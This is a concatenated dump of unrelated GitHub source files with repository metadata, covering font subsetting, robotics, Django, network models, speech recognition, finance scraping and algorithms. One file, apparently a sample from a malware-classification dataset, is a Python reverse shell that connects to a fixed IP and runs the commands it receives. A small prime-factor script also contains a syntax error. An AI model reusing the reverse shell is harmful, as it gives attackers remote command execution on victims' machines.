[ "eric.cousineau@tri.global" ]
eric.cousineau@tri.global
b41d06e647520a8373f47930206bd2cba38739a7
1d0613fb401e92b6861ea3f615561df854603db6
/KiBuzzard/deps/fonttools/Lib/fontTools/subset/svg.py
4ed2cbd20156a24c106f1974ad49dcc1df95d2fc
[ "MIT", "LicenseRef-scancode-unknown-license-reference", "OFL-1.1", "BSD-3-Clause", "Apache-2.0" ]
permissive
gregdavill/KiBuzzard
8c84a4339108c9942e1ec0e05e4110bba49fd265
88c4129b3fbed2cad718c01e5e2d29204e2f2071
refs/heads/main
2023-09-01T19:46:45.146077
2023-08-31T11:55:10
2023-08-31T11:55:10
328,686,533
358
36
MIT
2023-08-31T12:12:45
2021-01-11T14:16:42
Python
UTF-8
Python
false
false
9,210
py
from __future__ import annotations import re from functools import lru_cache from itertools import chain, count from typing import Dict, Iterable, Iterator, List, Optional, Set, Tuple try: from lxml import etree except ImportError: # lxml is required for subsetting SVG, but we prefer to delay the import error...
[ "greg.davill@gmail.com" ]
greg.davill@gmail.com
251028490454ec714c287d747f66fb2d024000cc
849a174efea976d4daed419b85668c2ba05fd2b9
/datastructures/stack/reverse_first_k.py
31f795271a80eb168b8cfb17836adc590c8d8b53
[]
no_license
samyuktahegde/Python
61e6fedbdd2a94b29e4475621afa6d5e98bf49b8
b02fa6e908661a918e0024f508df0192d5553411
refs/heads/master
2018-09-18T20:27:55.980689
2018-08-09T05:49:33
2018-08-09T05:49:33
116,491,078
0
0
null
2018-02-05T05:33:53
2018-01-06T14:52:16
null
UTF-8
Python
false
false
310
py
def reverse(queue, k): stack = [] for i in range(len(queue)-k): queue.insert(0, queue.pop()) for i in range(k): stack.append(queue.pop()) while len(stack)>0: queue.insert(0, stack.pop()) print(queue) reverse([10, 20, 30, 40, 50, 60, 70, 80, 90, 100], 5)
[ "noreply@github.com" ]
samyuktahegde.noreply@github.com
98450419b527d621443ab05e2e7f4a14f0fb323d
2d1649a7a00d49b72ed7e53afa4abb3c9281ce03
/.history/ParticleFilter/go_to_goal_20190313161147.py
f66d506253da904c99716ffce895904c229a8602
[]
no_license
joshzhang5/CS3630Lab6
9547dc6c89198e9bb4aebd8359d4feb974082d20
69e6df12829e18a211ae850236d74b4d728046ef
refs/heads/master
2020-05-15T13:59:51.906195
2019-04-22T18:21:42
2019-04-22T18:21:42
182,317,674
0
0
null
null
null
null
UTF-8
Python
false
false
9,071
py
# Jiaxi Zhang # George McAlear # If you run into an "[NSApplication _setup] unrecognized selector" problem on macOS, # try uncommenting the following snippet try: import matplotlib matplotlib.use('TkAgg') except ImportError: pass from skimage import color import cozmo import numpy as np from numpy.linal...
[ "josh@lawn-143-215-110-217.lawn.gatech.edu" ]
josh@lawn-143-215-110-217.lawn.gatech.edu
2029019e363dc023ee186492ee6f2767c8d12b48
69097c177bf87f4b10a506af14589a307a3e00e2
/iv1/urls.py
6c5375bdc60e14a415e269dc28edb5a41386490b
[]
no_license
shashisp/iv1
ae9459e2215659cf05546b888a1f2c8e0226ee51
56da14d5c2be8b8c9470c99ef61d5ed0de95f167
refs/heads/master
2016-09-06T00:13:19.397221
2013-07-04T07:18:24
2013-07-04T07:18:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
615
py
from django.conf.urls import patterns, include, url from django.views.generic.simple import direct_to_template # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover() urlpatterns = patterns('', # Examples: url(r'^$', 'direct_to_template', {'template':'index.htm...
[ "shashiessp@gmail.com" ]
shashiessp@gmail.com
226d20fcdf3955ec9050f7580bec8965513119b9
578db86c51d44ebddd0dc7b1738985b3dc69eb74
/corehq/apps/case_search/migrations/0010_casesearchconfig_synchronous_web_apps.py
3939cbf68740f42baf9a72e5dbc28a48f701349d
[ "BSD-3-Clause" ]
permissive
dimagi/commcare-hq
a43c7dd32b5f89c89fd5aa1b1359ab7301f4ff6b
e7391ddae1af1dbf118211ecb52c83fc508aa656
refs/heads/master
2023-08-16T22:38:27.853437
2023-08-16T19:07:19
2023-08-16T19:07:19
247,278
499
203
BSD-3-Clause
2023-09-14T19:03:24
2009-07-09T17:00:07
Python
UTF-8
Python
false
false
428
py
# Generated by Django 3.2.13 on 2022-06-22 03:44 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('case_search', '0009_delete_casesearchqueryaddition'), ] operations = [ migrations.AddField( model_name='casesearchconfig', ...
[ "orange.jenny@gmail.com" ]
orange.jenny@gmail.com
56d9066fc4cfe1366d2e93be108c7c7f48825f94
29f6b4804f06b8aabccd56fd122b54e4d556c59a
/CodeAnalysis/SourceMeter_Interface/SourceMeter-8.2.0-x64-linux/Python/Demo/ceilometer/ceilometer/tests/event/test_trait_plugins.py
91a1f446a8fe3cc0d6e3aea8b67fc96f23268503
[ "Apache-2.0" ]
permissive
obahy/Susereum
6ef6ae331c7c8f91d64177db97e0c344f62783fa
56e20c1777e0c938ac42bd8056f84af9e0b76e46
refs/heads/master
2020-03-27T11:52:28.424277
2018-12-12T02:53:47
2018-12-12T02:53:47
146,511,286
3
2
Apache-2.0
2018-12-05T01:34:17
2018-08-28T21:57:59
HTML
UTF-8
Python
false
false
4,460
py
# # Copyright 2013 Rackspace Hosting. # # Author: Monsyne Dragon <mdragon@rackspace.com> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICEN...
[ "abelgomezr45@gmail.com" ]
abelgomezr45@gmail.com
08f9aaf71d9fdb5903c82fbcda4998e62591033a
3c000380cbb7e8deb6abf9c6f3e29e8e89784830
/venv/Lib/site-packages/cobra/modelimpl/res/consumertask.py
217d35b5b581f2e403c343de88f78b78f0fc030a
[]
no_license
bkhoward/aciDOM
91b0406f00da7aac413a81c8db2129b4bfc5497b
f2674456ecb19cf7299ef0c5a0887560b8b315d0
refs/heads/master
2023-03-27T23:37:02.836904
2021-03-26T22:07:54
2021-03-26T22:07:54
351,855,399
0
0
null
null
null
null
UTF-8
Python
false
false
18,925
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.m...
[ "bkhoward@live.com" ]
bkhoward@live.com
1f26fda9dab70fe1a6ed09902a1c481d3ef7de00
0dcf78e319956f2cb2327c5cb47bd6d65e59a51b
/Contest/LeetCodeWeeklyContest/WeeklyContest165/1275-FindWinnerOnATicTacToeGame.py
8148efb99bab5c4ed670bb22fdebe03674a8c143
[]
no_license
daviddwlee84/LeetCode
70edd09a64a6f61492aa06d927e1ec3ab6a8fbc6
da1774fd07b7326e66d9478b3d2619e0499ac2b7
refs/heads/master
2023-05-11T03:16:32.568625
2023-05-08T05:11:57
2023-05-09T05:11:57
134,676,851
14
4
null
2018-05-29T14:50:22
2018-05-24T07:18:31
Python
UTF-8
Python
false
false
1,846
py
from typing import List class Solution: def tictactoe(self, moves: List[List[int]]) -> str: if self.earlyStop(moves): return "Pending" table = [['N' for _ in range(3)] for _ in range(3)] # build table for i, (x, y) in enumerate(moves): if i % 2 == 0: # play...
[ "daviddwlee84@gmail.com" ]
daviddwlee84@gmail.com
d1f3ba288fc49f58073093bde32185d3eefb8d9c
bc72bf1b54065ba737de094dca5dc11327cf4db1
/nengo_spinnaker/regions/keyspaces.py
fcbb9b488527235f3baba27b51680b1e0193ce7b
[ "MIT" ]
permissive
SpiNNakerManchester/nengo_spinnaker
cd50feeeccec7c195e4430f6c65777ab1c38202f
147e2b3d6c0965259d6897f177f23e5c99b184f9
refs/heads/master
2020-03-21T20:21:13.292948
2018-08-29T14:23:37
2018-08-29T14:23:37
139,001,771
0
0
MIT
2018-06-28T10:12:18
2018-06-28T10:12:17
null
UTF-8
Python
false
false
6,030
py
from six import iteritems import struct from .region import Region class KeyspacesRegion(Region): """A region of memory which represents data formed from a list of :py:class:`~rig.bitfield.BitField` instances representing SpiNNaker routing keys. Each "row" represents a keyspace, and each "column" is...
[ "andrew.mundy@ieee.org" ]
andrew.mundy@ieee.org
9f34b78e260779a146842d2614048489b525b5f2
6f56d421fb5f56902dc78df8b076a7fb79fac46c
/examples/multiconformers/train_multiconformers.py
95657ad1fa4d9241b59b861cdb13fa1ade7458ef
[ "Apache-2.0" ]
permissive
WhiteFu/TiramisuASR
00a0201785dcc2fea51178eaeb1bb187b5ca8a68
a14ad0745db26c7c3d3740922c2b1cbfd0fe90bc
refs/heads/master
2022-12-14T09:37:49.368864
2020-09-06T07:25:20
2020-09-06T07:25:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,294
py
# Copyright 2020 Huy Le Nguyen (@usimarit) and Huy Phan (@pquochuy) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
[ "nlhuy.cs.16@gmail.com" ]
nlhuy.cs.16@gmail.com
024f87e8cca4e48b9aa25b69acac825873f499dd
6506409d76a3e0fdf039d11d61a02bd7b542999a
/sagas/ofbiz/entity_prefabs.py
eb69997be8f70074b4769100d7c9cc1350b39053
[ "Apache-2.0" ]
permissive
samlet/stack
775001189a18305d83193f5bf48932e83ba422ea
9958d18ee5e75cf9794f546c904097dc1ff4f3a0
refs/heads/master
2022-05-11T11:14:38.127606
2022-05-06T15:35:03
2022-05-06T15:35:03
224,751,055
3
1
null
null
null
null
UTF-8
Python
false
false
7,497
py
from sagas.ofbiz.services import OfService as s, oc, track from sagas.ofbiz.entities import OfEntity as e from py4j.java_gateway import get_field import os import xml.etree.ElementTree as ET import json from sagas.util.name_util import to_global_id, from_global_id from values_pb2 import TaStringEntries, TaStringEntries...
[ "xiaofei.wu@gmail.com" ]
xiaofei.wu@gmail.com
e5a9d39f8d97c0d4e53dff6d667c47dbed97ecd4
4f6fdd0effc474226b75ccc5d247509121b90fdf
/number programs/compute prime factors of an integer.py
9c2b71f2b267413ae26c64833b7f25a811b5030d
[]
no_license
tuhiniris/Python-ShortCodes-Applications
1580785a6922c70df3b7375cb81e98f4a684d86f
f3fe7ac1c11a631fcd05b9d19b25b1a841d94550
refs/heads/main
2023-04-07T21:42:21.094545
2021-04-21T07:47:46
2021-04-21T07:47:46
358,605,530
0
0
null
null
null
null
UTF-8
Python
false
false
426
py
#Python Program to compute prime factors of an integer. n = int(input("Enter an integer: ")) i = 1 l=[] while i <= n : print("Step 1:",i) k = 0 if n%i == 0: print("Step 2:",i) j = 1 while j <= i: if i%j == 0: print("Step 3: ",i) k = k+1 j=j+1 print("Step 4:"i,j) if k =...
[ "noreply@github.com" ]
tuhiniris.noreply@github.com
1884f9bd8707e1f49972c1544d7e950c50100f19
eebb63331d49b0a65d03c5827a98f264b7edb9f4
/hsstock/tushare/futures/domestic.py
8a0c92f82d07cf2f3b759f1be8320a0e21b5046c
[ "Apache-2.0" ]
permissive
hsstock/hsstock
050e4006652d962fadd94894238c82acf6722832
f8841331022e8844537a5c5b08d047e2cc328856
refs/heads/master
2021-06-05T02:09:12.987017
2020-05-07T03:43:07
2020-05-07T03:43:07
132,714,778
2
1
null
null
null
null
UTF-8
Python
false
false
17,976
py
#!/usr/bin/env python # -*- coding:utf-8 -*- ''' Created on 2017年06月04日 @author: debugo @contact: me@debugo.com ''' import json import datetime from bs4 import BeautifulSoup import pandas as pd from hsstock.tushare.futures import domestic_cons as ct try: from urllib.request import urlopen, Request ...
[ "jiabao_hu@corp.netease.com" ]
jiabao_hu@corp.netease.com
3f82942c38acc8313ac2d7ccb2f1c5d8e9427936
c3a76533d1fbb53f291f49fb95b5e89ed69a75f5
/fb/NQueens33.py
1462562f5edcab6a139fadf63a4dab15ede6e637
[]
no_license
jing1988a/python_fb
5feb68efd32bd63952b4df0c0cd2e766b83451ea
fd310ec0a989e003242f1840230aaac150f006f0
refs/heads/master
2020-03-28T21:03:19.375549
2019-01-31T17:02:17
2019-01-31T17:02:17
149,125,354
0
0
null
null
null
null
UTF-8
Python
false
false
1,072
py
class Solution: """ @param: n: The number of queens @return: All distinct solutions """ def solveNQueens(self, n): # write your code here ans=[] self.recur(0 , [] , n , ans) return ans def recur(self , idx , candidate , n , ans): if idx==n: ans...
[ "jing1988a@gmail.com" ]
jing1988a@gmail.com
7d4043d0cba446f5536352cf6bfd876f46a3f4d7
a08ca8bcfbf2cd50b67fd47489f33c0b68fc4efa
/03_birthday_app/program.py
84f1559ff2ab019ac28987f4bc4a11cfabd248e5
[]
no_license
beliefs22/talk_python_training_10_apps
91a2a93143c8f90d03241c16d635f314fe458074
61a1340359d691283ee295b2d4a05428f8b2b76d
refs/heads/master
2021-07-13T16:18:42.018489
2017-10-18T20:45:57
2017-10-18T20:45:57
106,043,927
0
0
null
null
null
null
UTF-8
Python
false
false
1,079
py
import datetime def print_header(): print('------------') print(' Birthday APP') print('-------------') def get_birthday_from_user(): print('When were you born') year = int(input('Years [YYYY]')) month = int(input('Month [MM]')) day = int(input('Day [DD]')) birthday = datetime.d...
[ "beliefs22@gmail.com" ]
beliefs22@gmail.com
2bc47d594d85f0037664b77d79d7af6d6d0f80a2
fd02033bd0a9455743752666b7156d42eff8a7c6
/music/python/gita/servo_debug.py
a9bb48c79943267d194e90c6ad9d23157d201db9
[]
no_license
FFtust/automatic_gita
7d2bfe1c257a5c9de5f0e2f6d22b3b07e98ecbde
35a0616e24a71fdc62e0b4b1d9a09bfa2a2be7df
refs/heads/master
2022-02-12T07:51:56.658905
2022-01-23T15:46:57
2022-01-23T15:46:57
163,748,574
4
0
null
null
null
null
UTF-8
Python
false
false
3,565
py
import time import console_panel from file_manager import * import servo import sys import PyQt5 from PyQt5.QtWidgets import QApplication, QWidget from PyQt5 import QtCore from PyQt5.QtCore import * def loadServoData(): servoDict = readServoDatas() for key in range(18): console_panel.wi...
[ "1143943623@qq.com" ]
1143943623@qq.com
4da57ba923cf00f96f4f439dfe1b1975c9a3254d
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad506.py
f06c2c09205fcee9d73d86b2152fe969601135fb
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
318
py
import bz2 import threading import subprocess import hashlib import hmac import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
61bd2d099db0414046a2052096449f3bfff67bf1
09e57dd1374713f06b70d7b37a580130d9bbab0d
/benchmark/startPyquil2996.py
04ebe54968058a280c03ad699baa1889f02ace0e
[ "BSD-3-Clause" ]
permissive
UCLA-SEAL/QDiff
ad53650034897abb5941e74539e3aee8edb600ab
d968cbc47fe926b7f88b4adf10490f1edd6f8819
refs/heads/main
2023-08-05T04:52:24.961998
2021-09-19T02:56:16
2021-09-19T02:56:16
405,159,939
2
0
null
null
null
null
UTF-8
Python
false
false
1,821
py
# qubit number=4 # total number=32 import pyquil from pyquil.api import local_forest_runtime, QVMConnection from pyquil import Program, get_qc from pyquil.gates import * import numpy as np conn = QVMConnection() def make_circuit()-> Program: prog = Program() # circuit begin prog += CNOT(0,3) # number=29 ...
[ "wangjiyuan123@yeah.net" ]
wangjiyuan123@yeah.net
117e0092ad8ff13815fccfdab0b31fc742d6ba40
8159912695deeefbf61bc7d8ec343a696ade9a44
/gunicorn.py
68872f6d1785050ecee10407964fb037269f42f3
[ "Apache-2.0" ]
permissive
DD-DeCaF/metabolic-ninja
f7226711cade799c6efb1b506d5f3449451159e7
18239e7edd00755a27b95c2eaf142dd51d4ac31e
refs/heads/devel
2021-01-12T09:53:59.347099
2020-05-29T16:26:15
2020-05-29T16:26:15
155,348,575
1
1
Apache-2.0
2020-12-08T14:31:16
2018-10-30T08:17:36
Python
UTF-8
Python
false
false
1,876
py
# Copyright (c) 2018, Novo Nordisk Foundation Center for Biosustainability, # Technical University of Denmark. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/li...
[ "ali@kvikshaug.no" ]
ali@kvikshaug.no
f9e2a2f7a8b75e1f7366c9539ae39c246b298cea
6336828aeab3ea2ba3e1cf9452a8a3f3a084b327
/django-todolist-master/virtual-env/bin/pip
920bf5bfaaf740043a13a9e7d8a8280f65defca6
[ "MIT" ]
permissive
kalereshma96/DjangoNewRepository
85f2eaed6b689be273af48d328c0a388244bbe2b
37fd232c2ac91eb6940300f20118f93d17926f9a
refs/heads/master
2020-04-12T18:12:15.698279
2019-01-21T13:46:37
2019-01-21T13:46:37
162,672,682
0
0
null
null
null
null
UTF-8
Python
false
false
442
#!/home/admin1/PycharmProjects/mynewpythonproject/django-todolist-master/virtual-env/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip' __requires__ = 'pip==10.0.1' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\...
[ "kalereshma96@gmail.com" ]
kalereshma96@gmail.com
75483094f10a453cfc34435b14abde835f4a313b
5a18116def5ba6731bd42fc6ef8587bb9b749095
/5.Text Summarization/rouge.py
7b8754f7baee35faa9bdadd9d63123f2b0693db8
[ "Apache-2.0" ]
permissive
Angi16/Text-Summarization-NLP
7fecb59c0c9e9ab227a27e26960e7c4891f5409c
3cb7ca5641294f1620b7240a4caa9d52fb17452b
refs/heads/master
2020-03-23T17:03:51.941694
2018-07-21T19:34:04
2018-07-21T19:34:04
141,840,874
0
0
null
null
null
null
UTF-8
Python
false
false
3,765
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import nltk.data def getNGrams(n, text): ngram_set = set() text_length = len(text) max_index_ngram_start = text_length - n for i in range (max_index_ngram_start + 1): ngram_set.add(tuple(text[i:i+n])) #ngram_set.add(text[i]) r...
[ "ra6231693@gmail.com" ]
ra6231693@gmail.com
1c11179417fe835b5eeef07b602d19a08c6d4988
42588fc9360cca18f22b9e0ff2851b6e0ec93259
/draw_tree.py
dc8a0c4c80ff9084dc6449f62831c5a53022731f
[]
no_license
bendmorris/waxwing-phylogeography
ed8c797681b680523117e88760094ca6071e5cd2
a18673cb0ed7c2fb1e30e9e11cc1fa97432108a4
refs/heads/master
2021-01-23T08:09:31.601949
2013-04-15T19:39:19
2013-04-15T19:39:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,135
py
''' Usage: python draw_tree.py [image_file.png] If run without arguments, the result will be printed to stdout instead of saving as an image file. ''' import Bio.Phylo as bp import sys try: gene = sys.argv[1] filename = sys.argv[2] draw_to_file = True def draw(x, y=''): import matplotlib.py...
[ "ben@bendmorris.com" ]
ben@bendmorris.com
dae33b6586940d0fde248845ba5f272eb2d599b2
33776eda4d34337e008bd04d7480ba78e929b59e
/Python/DynamicProgramming/dynamic_programming.py
0d53bff4d2c01948a347498d81f7a98bbba5f40e
[]
no_license
mrwang1992/algorithms
fb076a03ccb963765d4adf918c835267a819ef17
7b49341f370f6edf797bf4cf079e5ad2d8686906
refs/heads/master
2020-06-03T07:42:22.140782
2017-06-10T17:32:11
2017-06-10T17:32:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,362
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ This file contains Python implementations of dynamic programming from Intro to Algorithms (Cormen et al.). The aim here is not efficient Python implementations but to duplicate the pseudo-code in the book as closely as possible. Also, since the goal is to help student...
[ "gcallah@mac.com" ]
gcallah@mac.com
f8d0373dd08cc6de06c70981fbc36016f7772c8a
47175228ce25812549eb5203fc8b86b76fec6eb9
/API_scripts/dfp/dfp_python3/v201411/creative_wrapper_service/deactivate_creative_wrapper.py
3c2e8325cfff422c690879f5e9e387237798390b
[]
no_license
noelleli/documentation
c1efe9c2bdb169baa771e9c23d8f4e2683c2fe20
a375698b4cf0776d52d3a9d3c17d20143bd252e1
refs/heads/master
2021-01-10T05:41:30.648343
2016-02-13T05:46:31
2016-02-13T05:46:31
51,477,460
1
1
null
null
null
null
UTF-8
Python
false
false
3,172
py
#!/usr/bin/python # # Copyright 2014 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
[ "noelle@makermedia.com" ]
noelle@makermedia.com
bfdc884ed1e8d4d62f5c36df923e1d1fbbfc276a
6c8b3ef3b6a3e77ee9a3cc56898217654b043154
/typings/rdkit/Chem/Suppliers/MolSupplier.pyi
9db08af22c885fcbaec6215c2013c31f61ae78cd
[ "MIT" ]
permissive
Andy-Wilkinson/ChemMLToolkit
8a1eb24ab317c470bc89efa206e38734cb83a7d2
83efc7ea66d2def860a3e04ccd70d77fb689fddc
refs/heads/main
2021-12-26T04:44:05.566942
2021-12-13T21:59:57
2021-12-13T21:59:57
171,165,863
2
2
MIT
2021-12-13T17:18:30
2019-02-17T20:00:01
Python
UTF-8
Python
false
false
488
pyi
""" This type stub file was generated by pyright. """ """ Supplies an abstract class for working with sequences of molecules """ class MolSupplier: """ we must, at minimum, support forward iteration """ def __init__(self) -> None: ... def Reset(self): # -> None: ... def __iter__(self): # -> M...
[ "Andy-Wilkinson@users.noreply.github.com" ]
Andy-Wilkinson@users.noreply.github.com
5032b8411c41458a445a2d67628126518130a3ef
321b4ed83b6874eeb512027eaa0b17b0daf3c289
/179/179.largest-number.700400854.Wrong-Answer.leetcode.python3.py
2a9b480284fabb2e3f6e549a352618f2dcc087c1
[]
no_license
huangyingw/submissions
7a610613bdb03f1223cdec5f6ccc4391149ca618
bfac1238ecef8b03e54842b852f6fec111abedfa
refs/heads/master
2023-07-25T09:56:46.814504
2023-07-16T07:38:36
2023-07-16T07:38:36
143,352,065
0
1
null
null
null
null
UTF-8
Python
false
false
233
py
class Solution: def largestNumber(self, nums): def compare(a, b): return int(b + a) - int(a + b) nums = sorted([str(x) for x in nums], key=cmp_to_key(compare)) return ''.join(nums).lstrip('0')
[ "huangyingw@gmail.com" ]
huangyingw@gmail.com
c74e908b66413ca46e51a7e59fc6f39b6ee818a4
c00c36f916c27f1fe4adecd8b25ea81624a71c51
/test_listrix.py
0f6d8f8671cff95565b0036a63393e2d333580f0
[]
no_license
colo6299/SoLongSpaceman
a46499ac8c7d670d034ed2f10231f6471111564b
cdd6c23e6d2589ed67ea02eb5cd354f9b59e1946
refs/heads/master
2020-07-19T06:51:33.052125
2019-09-19T02:03:17
2019-09-19T02:03:17
206,395,555
1
0
null
null
null
null
UTF-8
Python
false
false
969
py
from listrix import * # Look, I did my best # writing tests for this would have required... planning def test_bool_eater(): assert bool_eater([True, False, False, True]) == 2 def test_letter_eater(): assert letter_eater('a') == [True,False,False,False,False,False,False,False,False,False,False,False,False,...
[ "=" ]
=
8eeeb98b0533ff50e28de89ff6340d75d9ace4ad
56f5b2ea36a2258b8ca21e2a3af9a5c7a9df3c6e
/CMGTools/H2TauTau/prod/25aug_corrMC/up/mc/SUSYGluGluToHToTauTau_M-140_8TeV-pythia6-tauola/Summer12_DR53X-PU_S10_START53_V7A-v1/AODSIM/PAT_CMG_V5_16_0_1377467520/HTT_24Jul_newTES_manzoni_Up_Jobs/Job_23/run_cfg.py
158bc40e477ecfbc201fa2d6e5178317400bb57b
[]
no_license
rmanzoni/HTT
18e6b583f04c0a6ca10142d9da3dd4c850cddabc
a03b227073b2d4d8a2abe95367c014694588bf98
refs/heads/master
2016-09-06T05:55:52.602604
2014-02-20T16:35:34
2014-02-20T16:35:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,180
py
import FWCore.ParameterSet.Config as cms import os,sys sys.path.append('/afs/cern.ch/user/m/manzoni/summer13/CMGTools/CMSSW_5_3_9/src/CMGTools/H2TauTau/prod/25aug_corrMC/up/mc/SUSYGluGluToHToTauTau_M-140_8TeV-pythia6-tauola/Summer12_DR53X-PU_S10_START53_V7A-v1/AODSIM/PAT_CMG_V5_16_0_1377467520/HTT_24Jul_newTES_manzoni...
[ "riccardo.manzoni@cern.ch" ]
riccardo.manzoni@cern.ch
ba1a682e965081fa04fc7735e24b10656f59a782
eb166976684cf7c3e6ce613e17b270334bcdd837
/configs/DOTA1_5/faster_rcnn_RoITrans_r50_fpn_1x_dota1_5_gap512_msTrainTest_rotationTrainTest.py
9dab50c347431a25bba0728f924a2bab608d1a61
[ "Apache-2.0" ]
permissive
dlrudco/AerialDetection
d987c3a301737911e29197065da00c2b8230e423
e9381016113ddf77a09d07209341bb2208481850
refs/heads/master
2023-04-13T16:02:26.331775
2021-04-15T07:00:40
2021-04-15T07:00:40
290,456,718
0
0
Apache-2.0
2020-08-26T09:43:20
2020-08-26T09:43:19
null
UTF-8
Python
false
false
6,979
py
# model settings model = dict( type='RoITransformer', pretrained='modelzoo://resnet50', backbone=dict( type='ResNet', depth=50, num_stages=4, out_indices=(0, 1, 2, 3), frozen_stages=1, style='pytorch'), neck=dict( type='FPN', in_channels=[2...
[ "574258651@qq.com" ]
574258651@qq.com
08e05aecd32f960871a701b1c335fb398aa5f8dc
be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1
/Gauss_v45r8/Gen/DecFiles/options/13142214.py
8dfd864d82546bc253d85a3badcdc3b97ca399dd
[]
no_license
Sally27/backup_cmtuser_full
34782102ed23c6335c48650a6eaa901137355d00
8924bebb935b96d438ce85b384cfc132d9af90f6
refs/heads/master
2020-05-21T09:27:04.370765
2018-12-12T14:41:07
2018-12-12T14:41:07
185,989,173
0
0
null
null
null
null
UTF-8
Python
false
false
2,921
py
# file /home/hep/ss4314/cmtuser/Gauss_v45r8/Gen/DecFiles/options/13142214.py generated: Fri, 27 Mar 2015 15:48:11 # # Event Type: 13142214 # # ASCII decay Descriptor: [B_s0 -> (Psi(2S) -> mu+ mu-) (eta_prime -> rho0 gamma)]cc # from Configurables import Generation Generation().EventType = 13142214 Generation().SampleGe...
[ "slavomirastefkova@b2pcx39016.desy.de" ]
slavomirastefkova@b2pcx39016.desy.de
35474cb0cb914320976b4cdf06d1b879bb1689de
6f5c82b574fb01d48b52476672fb5637c9eb2b53
/anchore/configuration.py
a249a8295355e53e5fedf394f896a73041fe64a2
[ "Apache-2.0" ]
permissive
silverfox/anchore
feb62bd307557fde2b1f1a981f2eb36239eb3319
91a4a69e9a7f0fb5c61f4a6c7df01b0ac85c6398
refs/heads/master
2021-01-21T23:37:41.683351
2016-06-29T16:45:47
2016-06-29T16:45:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,605
py
import yaml import os import shutil import filecmp from util.tools import load_and_merge from pkg_resources import Requirement, resource_filename class AnchoreConfiguration (object): """ Backed by a yaml file """ DEFAULT_ANCHORE_DATA_DIR = os.path.join(os.getenv('HOME'), '.anchore') DEFAULT_CONFI...
[ "nurmi@anchore.com" ]
nurmi@anchore.com
205bff6d82a1cf08d6be667ba7d062078d904640
f5d29dfb8b77d89bc518591376df188b21c9922a
/share/qt/clean_mac_info_plist.py
7b07d988cfcb66916fa72c8f7085ba1b845cbdb3
[ "MIT" ]
permissive
kittycoin-project/kittycoin
53826293f2d4930df9f5154c83e572f550ef3982
5b08fdc2c180d8a81d8e29f7e6fca9d4112225f3
refs/heads/master
2023-04-16T15:53:39.998681
2021-05-03T23:34:40
2021-05-03T23:34:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
899
py
#!/usr/bin/env python # Jonas Schnelli, 2013 # make sure the Kittycoin-Qt.app contains the right plist (including the right version) # fix made because of serval bugs in Qt mac deployment (https://bugreports.qt-project.org/browse/QTBUG-21267) from string import Template from datetime import date bitcoinDir = "./"; i...
[ "etiennebrxv@gmail.com" ]
etiennebrxv@gmail.com
e76ee14e048580d011529f4f50b1cb94718948a1
58d03cfcbc024e86034e5324272cc0e98e51d5ca
/codes/models/SRRaGAN_model.py
0f1866c6e52268533bb7ba8af9caa6473277a122
[]
no_license
LinZhineng/BasicSR
9175167cd8b0d9478c144459bf5277cc1bf35448
40db1ffe91475215703651c7f5600c903d542fe8
refs/heads/master
2020-03-28T07:32:34.494212
2018-09-07T06:19:07
2018-09-07T06:19:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,267
py
import os from collections import OrderedDict import torch import torch.nn as nn from torch.optim import lr_scheduler import models.networks as networks from .base_model import BaseModel from models.modules.loss import GANLoss, GradientPenaltyLoss class SRRaGANModel(BaseModel): def name(self): return 'S...
[ "wxt1994@126.com" ]
wxt1994@126.com
8d62df3781a3ea780d24868089daac0b7d9e2e13
3908d53059b70cbeae98960d16aa5c55733bef80
/tests/dataset/complex/complex_lists.py
71898707b4cadda6f442564638b3e0942d5a432e
[ "Apache-2.0" ]
permissive
reizio/reiz.io
7574b42c495df17a40ef5c107842513f5e002638
1195e45860fff7fe84f72d325fc1836c84b7d456
refs/heads/master
2023-07-26T12:22:41.859235
2022-12-26T17:19:10
2022-12-26T17:19:10
294,958,663
47
5
NOASSERTION
2023-01-30T17:00:00
2020-09-12T14:21:54
Python
UTF-8
Python
false
false
1,776
py
@foo # reiz: tp def something(): @bar(baz(quux), foo) def something(): ... if foo: for bar in baz: return quux() @foo def something(): @bar(baz(quux), foo) def something(): ... if foo: for bar in baz: return quux() ... @foo.bar ...
[ "batuhanosmantaskaya@gmail.com" ]
batuhanosmantaskaya@gmail.com
806ada1af46b48e4aed9179d6b59e35152d54e8e
2b7d422e78c188923158a2a0780a99eca960e746
